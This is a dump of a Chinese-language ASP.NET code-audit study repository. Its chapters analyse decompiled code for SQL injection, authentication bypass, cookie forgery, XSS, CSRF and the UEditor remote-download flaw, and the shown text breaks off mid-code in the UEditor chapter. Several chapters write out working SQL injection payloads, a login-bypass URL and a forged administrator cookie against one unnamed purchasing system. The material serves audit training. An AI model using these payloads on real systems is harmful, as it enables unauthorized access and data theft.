├── README.md └── asp.net_bug ├── img ├── 2.1.png ├── 2.2.png ├── 2.3.png ├── 2.4.png ├── 2.5.png ├── 2.6.png ├── 3.1.jpg ├── 3.2.png ├── 3.3.png ├── 3.4.png ├── 3.5.png ├── 3.6.png ├── 3.7.png ├── 3.8.png ├── 3.9.png ├── 4.1.png ├── 4.2.png ├── 4.3.png ├── 4.4.png ├── 4.5.png ├── 4.6.png ├── 5.1.png ├── 5.2.png ├── 5.3.png ├── 6.1.png ├── 7.1.png ├── 7.2.png ├── 7.3.png ├── 7.4.png ├── 7.5.png ├── 7.6.png ├── 7.7.png ├── 7.8.png └── 7.9.png ├── 第一章:注入.md ├── 第三章:其他.md ├── 第二章:越权.md ├── 第五章:ueditor远程下载分析.md ├── 第六章:XmlSerializer反序列化.md └── 第四章:SiteServer远程下载分析.md /README.md: -------------------------------------------------------------------------------- 1 | # .NET 相关的学习 2 | 3 | 4 | 名称 | 描述 | 状态 5 | ---- | ----- | ------ 6 | asp.net_bug | aspx代码审计 | 待续 7 | 8 | 9 | 10 | 11 | 声明:项目文章,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。 12 | -------------------------------------------------------------------------------- /asp.net_bug/img/2.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.1.png -------------------------------------------------------------------------------- /asp.net_bug/img/2.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.2.png -------------------------------------------------------------------------------- /asp.net_bug/img/2.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.3.png -------------------------------------------------------------------------------- /asp.net_bug/img/2.4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.4.png -------------------------------------------------------------------------------- /asp.net_bug/img/2.5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.5.png -------------------------------------------------------------------------------- /asp.net_bug/img/2.6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.6.png -------------------------------------------------------------------------------- /asp.net_bug/img/3.1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.1.jpg -------------------------------------------------------------------------------- /asp.net_bug/img/3.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.2.png -------------------------------------------------------------------------------- /asp.net_bug/img/3.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.3.png -------------------------------------------------------------------------------- /asp.net_bug/img/3.4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.4.png -------------------------------------------------------------------------------- /asp.net_bug/img/3.5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.5.png -------------------------------------------------------------------------------- /asp.net_bug/img/3.6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.6.png -------------------------------------------------------------------------------- /asp.net_bug/img/3.7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.7.png -------------------------------------------------------------------------------- /asp.net_bug/img/3.8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.8.png -------------------------------------------------------------------------------- /asp.net_bug/img/3.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.9.png -------------------------------------------------------------------------------- /asp.net_bug/img/4.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.1.png -------------------------------------------------------------------------------- /asp.net_bug/img/4.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.2.png -------------------------------------------------------------------------------- /asp.net_bug/img/4.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.3.png -------------------------------------------------------------------------------- /asp.net_bug/img/4.4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.4.png -------------------------------------------------------------------------------- /asp.net_bug/img/4.5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.5.png -------------------------------------------------------------------------------- /asp.net_bug/img/4.6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.6.png -------------------------------------------------------------------------------- /asp.net_bug/img/5.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/5.1.png -------------------------------------------------------------------------------- /asp.net_bug/img/5.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/5.2.png -------------------------------------------------------------------------------- /asp.net_bug/img/5.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/5.3.png -------------------------------------------------------------------------------- /asp.net_bug/img/6.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/6.1.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.1.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.2.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.3.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.4.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.5.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.6.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.7.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.8.png -------------------------------------------------------------------------------- /asp.net_bug/img/7.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.9.png -------------------------------------------------------------------------------- /asp.net_bug/第一章:注入.md: -------------------------------------------------------------------------------- 1 | # 0x00 简介 2 | 3 | 基础知识: 4 | 5 | ASP.NET开发可以选用两种框架:`ASP.NET Core`与`ASP.NET Framework` 6 | 7 | ASP.NET开发也分为两种: 8 | 9 | >WebApplication: 10 | 11 | WEB应用程序,改变代码后需要重启网页。具有namespace空间名称,项目中所有的程序代码文件,和独立的文件都被编译成为一个程序集,保存在bin文件夹中。 12 | 13 | >WebSite: 14 | 15 | WEB网站,改变代码后不用重启网页。它没用到namespace空间名称,每个asp页面会转成一个dll。 16 | 17 | 18 | ASP.NET比较关键的文件: 19 | 20 | >web.config: 21 | 22 | 1.web.config是基于XML的文件,可以保存到Web应用程序中的任何目录中,用来储存数据库连接字符、身份安全验证等。 23 | 24 | 2.加载方式:当前目录搜索 -> 上一级到根目录 -> %windir%/Microsoft.NET/Framework/v2.0.50727/CONFIG/web.config -> %windir%/Microsoft.NET/Framework/v2.0.50727/CONFIG/machine.config -> 都不存在返回null 25 | 26 | >Global.asax: 27 | 28 | 1. Global.asax提供全局可用的代码,从HttpApplication基类派生的类,响应的是应用程序级别会话级别事件,通常ASP.NET的全局过滤代码就是在这里面。 29 | 30 | ASP.NET的常见拓展名: 31 | 32 | 在`%windir%\Microsoft.NET\Framework\v2.0.50727\CONFIG\web.config`中有详细定义,这里提取部分简单介绍。 33 | 34 | ``` 35 | aspx:应用程序根目录或子目录,包含web控件与其他 36 | cs:类文件 37 | aspx.cs:web窗体后台程序代码文件 38 | ascx:应用程序根目录或子目录,Web 用户控件文件。 39 | asmx:应用程序根目录或子目录,该文件包含通过 SOAP 方式可用于其他 Web 应用程序的类和方法。 40 | asax:应用程序根目录,通常是Global.asax 41 | config:应用程序根目录或子目录,通常是web.config 42 | ashx:应用程序根目录或子目录,该文件包含实现 IHttpHandler 接口以处理所有传入请求的代码。 43 | soap:应用程序根目录或子目录。soap拓展文件 44 | 45 | ``` 46 | 47 | # 0x01 环境配置 48 | 49 | 1.[windows 2008R2](https://msdn.itellyou.cn) 50 | 51 | 2.[SSMS数据库管理](https://docs.microsoft.com/zh-cn/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15) 52 | 53 | 3.某系统 54 | 55 | 4.[dnSpy反编译](https://github.com/0xd4d/dnSpy) 56 | 57 | 58 | # 0x02 熟悉框架 59 | 60 | 程序的文件目录 61 | 62 | ``` 63 | ├─Admin 64 | ├─App_Data //App_Data文件夹应该包含应用程序的本地数据存储 65 | ├─bin // 包含应用程序所需的任何预生成的程序集 66 | ├─bootstrap 67 | ├─css 68 | ├─images 69 | ├─img 70 | ├─install 71 | ├─javascript 72 | ├─m 73 | ├─purchase 74 | ├─style 75 | ├─temp 76 | ├─Template 77 | ├─uploads 78 | └─UserControl 79 | 80 | ``` 81 | WEB应用程序会把我们写的代码编译为DLL文件存放在Bin文件夹中,在ASPX文中基本就是一些控件名,所以需要反编译他的DLL来进行审计。 82 | 83 | >Logout.aspx 84 | ``` 85 | <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Logout.aspx.cs" Inherits="Book.Logout" %> 86 | 87 | 88 | . 89 | . 90 | . 91 | 92 | ``` 93 | 在文件头中有这几个参数: 94 | 95 | 1.Language="C#" //脚本语言 96 | 97 | 2.AutoEventWireup="true" //是否自动关联某些特殊事件 98 | 99 | 3.CodeBehind="Logout.aspx.cs" //指定包含与页关联的类的已编译文件的名称 100 | 101 | 4.Inherits="Book.Logout" //定义供页继承的代码隐藏类 102 | 103 | 我们所关注的也就是`Inherits` 的值,如上所示他指向了`Bin`目录下的`purchase.dll`中`Book`类的`Logout`函数(注:purchase.dll是网站编译的项目名,一般与文件目录对应) 104 | 105 | >web.config 106 | 107 | 这个文件包含了目录权限控制、数据库密码等等 108 | 109 | ``` 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | ``` 120 | 比如我们使用的这套程序中[authorization](https://www.cnblogs.com/BlogShen/archive/2012/05/26/2519583.html)定义了`purchase/orderdetail.aspx`匿名可以访问,但是这套程序的本页面还写了一套验证 121 | 122 | ``` 123 | if (this.uid <= 0) 124 | { 125 | if (!(base.Request.QueryString["g"] == "p")) 126 | { 127 | base.Response.Redirect("../login.aspx"); 128 | return; 129 | } 130 | this.ph_pdf.Visible = false; 131 | } 132 | ``` 133 | 所以我们只需要访问`purchase/orderdetail.aspx?g=p`即可绕过跳转 134 | ,其中``表示Form 表单认证。 135 | 136 | 在ASP.NET中全局过滤一般用到`Global.asax`至于他为什么可以起到全局过滤的作用可以看看[ASP.NET三剑客](https://blog.csdn.net/ZARA0830/article/details/80384263)。当然这套程序并没有全局过滤,在提交多个漏洞后,官网公告说这套程序建议内网部署,官网让公网部署的用户设置了身份验证: 137 | 138 | ``` 139 | 140 | 141 | 142 | 143 | 144 | 145 | ``` 146 | 但是这套程序安装会默认插入多条用户数据。 147 | 148 | # 0x03 审计注入 149 | 150 | 首先我们来看`Login.aspx`,前面已经贴过代码,我们需要反编译`purchase.dll`去找`Book.Login`,这里使用`dyspy` 151 | 152 | ![](./img/2.1.png) 153 | 154 | `login.aspx`->`Button1_Click`->`LoginForm()`在login中控件名对应dll 155 | 156 | ``` 157 | public void LoginForm() 158 | { 159 | int num = UsersHelper.Login(this.txt_username.Text, this.txt_pwd.Text); 160 | if (num > 0) 161 | { 162 | base.Response.Redirect(FormsAuthentication.GetRedirectUrl(num.ToString(), true)); 163 | } 164 | else 165 | { 166 | Helper.Result(this, "用户名或者密码错误"); 167 | } 168 | } 169 | 170 | ``` 171 | 跟进`UsersHelper.Login` 172 | 173 | ``` 174 | public static int Login(string username, string password) 175 | { 176 | string sql = " select uid from users_users where username=@username and password=@password; "; 177 | SqlParameter[] prams = new SqlParameter[] 178 | { 179 | new SqlParameter("@username", username), 180 | new SqlParameter("@password", Helper.Encrypt(password)) 181 | }; 182 | object obj = Instance.ExeScalar(sql, prams); 183 | if (obj == null || obj == DBNull.Value) 184 | { 185 | return -1; 186 | } 187 | int num = int.Parse(obj.ToString()); 188 | if (num > 0) 189 | { 190 | UsersHelper.Login(num); 191 | } 192 | return num; 193 | } 194 | 195 | ``` 196 | 这里使用的是参数化查询,所以这里不存在注入。登陆后的注入很多这里选一个。 197 | 198 | >search.aspx 199 | 200 | ![](./img/2.2.png) 201 | 202 | 这里剔除了部分无用代码,可以看到没有经过任何过滤,控件的值就拼接到`text`字符串,由`Instance.ExeDataSet(text)`执行,跟进`ExeDataSet`函数 203 | 204 | ![](./img/2.5.png) 205 | 206 | 没有过滤直接带入查询,如果你觉得从代码来看sql语句很麻烦,这里可以使用`Sql Sever Profiler`监控SQL语句。 207 | 208 | ![](./img/2.4.png) 209 | 210 | >Payload: `1%' and 1=user--` 211 | 212 | 前面说到`purchase/orderdetail.aspx?g=p`可以绕过直接访问,具体原因可以移步[《第二章:越权》](第二章:越权.md),那么我们看看这个是否存在注入,如果存在那么将是一个前台注入。 213 | 214 | ![](./img/2.3.png) 215 | 216 | 看到`69-88`行,要执行命令需要`this.isview`为`true` ,在`30-36`行赋值只需要`t=view`即可 217 | `sid`没有经过任何过滤,同时`ExeDataSet`函数也不存在过滤,即存在注入。 218 | 219 | >Payload: `purchase/orderdetail.aspx?g=p&t=view&sid=1%20and%201=user--` 220 | 221 | ![](./img/2.6.png) 222 | 223 | # 0x04 文末 224 | 225 | 在ASP.NET中注入比较常见,因为一般程序员都是使用的全局过滤,所以没有全局过滤的话,比较容易发现此类漏洞,也比较简单。 -------------------------------------------------------------------------------- /asp.net_bug/第三章:其他.md: -------------------------------------------------------------------------------- 1 | # 0x00 简介 2 | 3 | 本章内容: 4 | 5 | 1.xss 6 | 7 | 2.csrf 8 | 9 | 3.文件上传 10 | 11 | 12 | 13 | # 0x01 XSS 14 | 15 | 在asp.net中我们插入XSS代码经常会遇到一个错误`A potentially dangerous Request.Form` 16 | 17 | ![](./img/4.1.png) 18 | 19 | 这是因为在`aspx`文件头一般会定义一句`<%@ Page validateRequest="true" %>` ,当然也可以在`web.config`中定义,值得注意的是`validateRequest`的值默认为`true` ,所以通常情况下asp.net基本上是不存在`XSS`的,除非程序员把他的值改变,如同这套源码的`web.config`。 20 | 21 | ``` 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | ``` 32 | 简单的分析 33 | 34 | >CK_New.aspx 35 | 36 | `$.post("ajax/Out_Store_Handler.aspx"` 确认提交,通过`ajax`传送到`Out_Store_Handler.aspx`。 37 | 38 | >Out_Store_Handler.aspx 39 | 40 | ![](./img/4.2.png) 41 | 42 | 整个过程是把传入过来的数据进行替换、插入数据库并没有经行任何过滤。 43 | 44 | 来到输入页面`Purchase_AuditingList.aspx` 45 | 46 | ![](./img/4.3.png) 47 | 48 | 从上往下看 查询->输出也没有过滤,所以造成了`XSS`。 49 | 50 | ![](./img/4.4.png) 51 | 52 | 53 | 54 | 55 | # 0x01 CSRF 56 | 57 | ![](./img/4.5.png) 58 | 59 | 点击`add_Click`获取表单值后直接,传入`UsersHelper.AddUser` 函数最后由`UsersHelper.AddUser`函数插入数据库,整个过程没有验证CSRF。 60 | 61 | ![](./img/4.6.png) 62 | 63 | # 0x02 文件上传 64 | 65 | 这套程序是最新版本所以任意文件不存在,只做粗略分析 66 | 67 | >_uploadpic.ashx 68 | 69 | ``` 70 | private void SaveFile() 71 | { 72 | string text = "../uploads/" + DateTime.Now.ToString("yyyy-MM") + "/"; 73 | string text2 = HttpContext.Current.Server.MapPath(text); 74 | if (!Directory.Exists(text2)) 75 | { 76 | Directory.CreateDirectory(text2); 77 | } 78 | HttpFileCollection files = HttpContext.Current.Request.Files; 79 | string fileName = Path.GetFileName(files[0].FileName); 80 | string extension = Path.GetExtension(files[0].FileName); 81 | string text3 = Helper.ReadConfigValue(Helper.ReadConfigXml("~/app_data/allow_ext.xml"), "allow_ext").ToString().ToLower(); 82 | if (text3.Contains(extension.ToLower())) 83 | { 84 | string str = Guid.NewGuid().ToString() + extension; 85 | string filename = text2 + str; 86 | files[0].SaveAs(filename); 87 | string s = string.Concat(new string[] 88 | { 89 | "{\"jsonrpc\" : \"2.0\", \"result\" :\"", 90 | HttpContext.Current.Server.HtmlEncode(fileName), 91 | "\", \"id\" : \"", 92 | HttpContext.Current.Server.HtmlEncode(text + str), 93 | "\"}" 94 | }); 95 | HttpContext.Current.Response.Write(s); 96 | } 97 | } 98 | 99 | ``` 100 | 文件名由`uploads` + `DateTime.Now.ToString("yyyy-MM")` + `Guid.NewGuid().ToString()` + `extension` (../uploads/2019-10/30777b5a-bd82-48eb-9104-24afffd97243.png) 所以能控制的只有`extension`,他由`Path.GetExtension` 直接获取文件后缀,但是`ReadConfigXml`读取`~/app_data/allow_ext.xml`的文件做比较,比较典型的白名单所以这里不存在任意文件上传。 101 | 102 | >allow_ext.xml 103 | 104 | ``` 105 | 106 | 107 | 108 | 109 | 110 | ``` 111 | 112 | # 0x03 文末 113 | 114 | 其他以后遇到慢慢补充 -------------------------------------------------------------------------------- /asp.net_bug/第二章:越权.md: -------------------------------------------------------------------------------- 1 | # 0x00 ASP.NET安全认证 2 | 3 | 1.在`web.config`中有四种验证模式: 4 | 5 | 方式 | 描述 6 | ---- | ----- 7 | window|IIS验证,在内联网环境中非常有用 8 | Passport|微软集中式身份验证,一次登录便可访问所有成员站点,需要收费 9 | Form|窗体验证,验证帐号/密码,Web编程最佳最流行的验证方式 10 | None|表示ASP.NET自己根本不执行身份验证,完全依赖IIS身份验证 11 | 12 | 其中`FORM`窗体验证的流程图: 13 | 14 | ![](./img/3.1.jpg) 15 | 16 | 开启`form`窗体验证的同时还需要配置`web.config`,不然就会出现问题,一般来说还需要配置最基本的页面访问权限,比如禁止匿名用户访问。 17 | 18 | ``` 19 | 20 | 21 | 22 | 23 | 24 | 25 | ``` 26 | 当然还可以设置一些管理页面允许某某用户访问等等,在这套程序中开启了`form`然后在程序里面验证的`cookies`,而且并没有设置所有页面的`authorization`。 27 | 28 | 2.除去`web.config`的配置通常还有两种写法来验证是否登陆。 29 | 30 | 第一种:在每个页面判断`Session["UserName"]是否等于null` 31 | 32 | 第二种:类似php的`include`的继承,这也是本套程序使用的方法。 33 | 34 | 首先他定义了一个`purchase.Master` [母版页](https://www.cnblogs.com/WuNaiHuaLuo/p/4509774.html) 在里面写上了权限验证的代码。 35 | 36 | ![](./img/3.2.png) 37 | 38 | 然后次母版页头文件会引入`MasterPageFile="~/purchase/purchase.Master"`调用之前都会先调用母版页的`Page_Load`函数来验证是否登陆。当然你也可能遇到没有使用[母版页](https://www.cnblogs.com/WuNaiHuaLuo/p/4509774.html)的程序,那么他可能是先定义一个`onepage`类继承`page`,然后其他页面继承`onepage`类,与此相同。 39 | 40 | 41 | # 0x01 寻找越权 42 | 43 | 44 | 例1: 45 | 46 | 比如没有任何验证的,也没有继承验证类的,无需登陆访问 47 | 48 | 49 | ![](./img/3.3.png) 50 | 51 | 52 | 53 | 例2: 54 | 55 | 这套程序验证权限的地方比较少,只是简单的判断了是否登陆,登陆后基本可以访问大多数管理页面这里。 56 | 57 | 58 | ![](./img/3.4.png) 59 | 60 | 61 | 62 | 例3: 63 | 64 | ![](./img/3.6.png) 65 | 66 | 在`MyProfile.aspx`文件中 直接获取表单数据进行`update`,并没有验证权限,导致低权限账号也可以`update admin`但是这里是参数化查询,所以不存在注入。修改`admin`的账号密码为`1234567`。 67 | 68 | ![](./img/3.5.png) 69 | 70 | 71 | 例4: 72 | 73 | 前面说到这套程序里面验证的`cookies`,而且并没有设置所有页面的`authorization`权限,所以我们能不能伪造cookie呢。 74 | 75 | ![](./img/3.7.png) 76 | 77 | 在`23-26`行判断`this.uid`的值来进行跳转,在`16`行定义了他的值,跟进`UserHelper.GetUserId` 78 | 79 | ``` 80 | public static int GetUserId 81 | { 82 | get 83 | { 84 | if (Helper.IsUseAd && HttpContext.Current.Request.Cookies["userinfo"] == null) 85 | { 86 | UsersHelper.LoginAd(UserHelper.GetSamaccountName()); 87 | } 88 | if (HttpContext.Current.Request.Cookies["userinfo"] != null) 89 | { 90 | return int.Parse(HttpContext.Current.Request.Cookies["userinfo"]["userid"]); 91 | } 92 | return -1; 93 | } 94 | } 95 | 96 | ``` 97 | 98 | `this.uid`等于`cookies`中获取的`userinfo`的值,这一步可以伪造,接着我们看到`30-33`这里他设置了管理员的布尔值,跟进`RoleHelper.IsAdmin` 99 | 100 | ``` 101 | public static bool IsAdmin 102 | { 103 | get 104 | { 105 | string name = "IsAdmin"; 106 | string admin = RoleHelper.Admin; 107 | bool? flag = HttpContext.Current.Session[name] as bool?; 108 | if (flag == null) 109 | { 110 | flag = new bool?(UserHelper.IsInAnyRoles(admin)); 111 | HttpContext.Current.Session[name] = flag; 112 | } 113 | return flag.Value; 114 | } 115 | } 116 | 117 | ``` 118 | 119 | 前面从`session`中获取,如果`flag`为`null`则从`UserHelper.IsInAnyRoles(admin)`获取。 120 | 121 | 跟进`IsInAnyRoles` 122 | 123 | ![](./img/3.8.png) 124 | 125 | 126 | 可以看到只要我们传入的`cookies`中`roles`的等于传入的数组值就返回`true`其中 `public static string Admin = "administrators";`,所以构造`cookies`:`userinfo=userid=1&roles=administrators;` 127 | 128 | ![](./img/3.9.png) 129 | -------------------------------------------------------------------------------- /asp.net_bug/第五章:ueditor远程下载分析.md: -------------------------------------------------------------------------------- 1 | 2 | # 0x00 简介 3 | 4 | [UEditor](https://github.com/fex-team/ueditor/releases) 的.NET版本N年前爆出一个远程下载漏洞。 5 | 6 | 7 | # 0x01 漏洞成因 8 | 9 | URL: 10 | 11 | ``` 12 | http://192.168.110.129:520/gbk-net/net/controller.ashx?action=catchimage 13 | 14 | ``` 15 | 在POC中请求的URL如上,直接定位到文件`controller.ashx`。 16 | 17 | >utf8-net\net\controller.ashx 18 | 19 | ``` 20 | 21 | case "listfile": 22 | action = new ListFileManager(context, Config.GetString("fileManagerListPath"), Config.GetStringList("fileManagerAllowFiles")); 23 | break; 24 | case "catchimage": 25 | action = new CrawlerHandler(context); 26 | break; 27 | 28 | ``` 29 | `catchimage` 调用`CrawlerHandler` 进而跟进`CrawlerHandler` 30 | 31 | 32 | >utf8-net\net\App_Code\CrawlerHandler.cs 33 | 34 | 35 | ``` 36 | 37 | public class CrawlerHandler : Handler 38 | { 39 | private string[] Sources; 40 | private Crawler[] Crawlers; 41 | public CrawlerHandler(HttpContext context) : base(context) { } 42 | 43 | public override void Process() 44 | { 45 | Sources = Request.Form.GetValues("source[]"); 46 | if (Sources == null || Sources.Length == 0) 47 | { 48 | WriteJson(new 49 | { 50 | state = "参数错误:没有指定抓取源" 51 | }); 52 | return; 53 | } 54 | Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray(); 55 | WriteJson(new 56 | { 57 | state = "SUCCESS", 58 | list = Crawlers.Select(x => new 59 | { 60 | state = x.State, 61 | source = x.SourceUrl, 62 | url = x.ServerUrl 63 | }) 64 | }); 65 | } 66 | } 67 | 68 | ``` 69 | 70 | `CrawlerHandler`获取`Sources`判断是否为空,这里只需要构造`Sources[]=url`即可,然后后调用`Crawler Fetch`。 71 | 72 | 73 | >Crawler Fetch() 74 | 75 | ``` 76 | 77 | public Crawler Fetch() 78 | { 79 | if (!IsExternalIPAddress(this.SourceUrl)) 80 | { 81 | State = "INVALID_URL"; 82 | return this; 83 | } 84 | var request = HttpWebRequest.Create(this.SourceUrl) as HttpWebRequest; 85 | using (var response = request.GetResponse() as HttpWebResponse) 86 | { 87 | if (response.StatusCode != HttpStatusCode.OK) 88 | { 89 | State = "Url returns " + response.StatusCode + ", " + response.StatusDescription; 90 | return this; 91 | } 92 | if (response.ContentType.IndexOf("image") == -1) 93 | { 94 | State = "Url is not an image"; 95 | return this; 96 | } 97 | ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat")); 98 | var savePath = Server.MapPath(ServerUrl); 99 | if (!Directory.Exists(Path.GetDirectoryName(savePath))) 100 | { 101 | Directory.CreateDirectory(Path.GetDirectoryName(savePath)); 102 | } 103 | try 104 | { 105 | var stream = response.GetResponseStream(); 106 | var reader = new BinaryReader(stream); 107 | byte[] bytes; 108 | using (var ms = new MemoryStream()) 109 | { 110 | byte[] buffer = new byte[4096]; 111 | int count; 112 | while ((count = reader.Read(buffer, 0, buffer.Length)) != 0) 113 | { 114 | ms.Write(buffer, 0, count); 115 | } 116 | bytes = ms.ToArray(); 117 | } 118 | File.WriteAllBytes(savePath, bytes); 119 | State = "SUCCESS"; 120 | } 121 | catch (Exception e) 122 | { 123 | State = "抓取错误:" + e.Message; 124 | } 125 | return this; 126 | } 127 | } 128 | 129 | ``` 130 | 131 | 这里首先调用函数`IsExternalIPAddress` 判断你是不是一个正常的域名,不是则`return`。 132 | 然后请求传入的`URL`查看是否响应200,再判断`ContentType`是否为`image`,在这里其实只要构建服务器返回的`Content-Type`为`image/xxxx`即可,重点在`PathFormatter`我们跟进。 133 | 134 | 135 | >utf8-net\net\App_Code\PathFormater.cs 136 | 137 | ``` 138 | 139 | public static string Format(string originFileName, string pathFormat) 140 | { 141 | if (String.IsNullOrWhiteSpace(pathFormat)) 142 | { 143 | pathFormat = "{filename}{rand:6}"; 144 | } 145 | 146 | var invalidPattern = new Regex(@"[\\\/\:\*\?\042\<\>\|]"); 147 | originFileName = invalidPattern.Replace(originFileName, ""); //替换正则匹配到的为空1.png.aspx 148 | 149 | string extension = Path.GetExtension(originFileName); //.aspx 150 | string filename = Path.GetFileNameWithoutExtension(originFileName); 151 | 152 | pathFormat = pathFormat.Replace("{filename}", filename); 153 | pathFormat = new Regex(@"\{rand(\:?)(\d+)\}", RegexOptions.Compiled).Replace(pathFormat, new MatchEvaluator(delegate(Match match) 154 | { 155 | var digit = 6; 156 | if (match.Groups.Count > 2) 157 | { 158 | digit = Convert.ToInt32(match.Groups[2].Value); 159 | } 160 | var rand = new Random(); 161 | return rand.Next((int)Math.Pow(10, digit), (int)Math.Pow(10, digit + 1)).ToString(); 162 | })); 163 | 164 | pathFormat = pathFormat.Replace("{time}", DateTime.Now.Ticks.ToString()); 165 | pathFormat = pathFormat.Replace("{yyyy}", DateTime.Now.Year.ToString()); 166 | pathFormat = pathFormat.Replace("{yy}", (DateTime.Now.Year % 100).ToString("D2")); 167 | pathFormat = pathFormat.Replace("{mm}", DateTime.Now.Month.ToString("D2")); 168 | pathFormat = pathFormat.Replace("{dd}", DateTime.Now.Day.ToString("D2")); 169 | pathFormat = pathFormat.Replace("{hh}", DateTime.Now.Hour.ToString("D2")); 170 | pathFormat = pathFormat.Replace("{ii}", DateTime.Now.Minute.ToString("D2")); 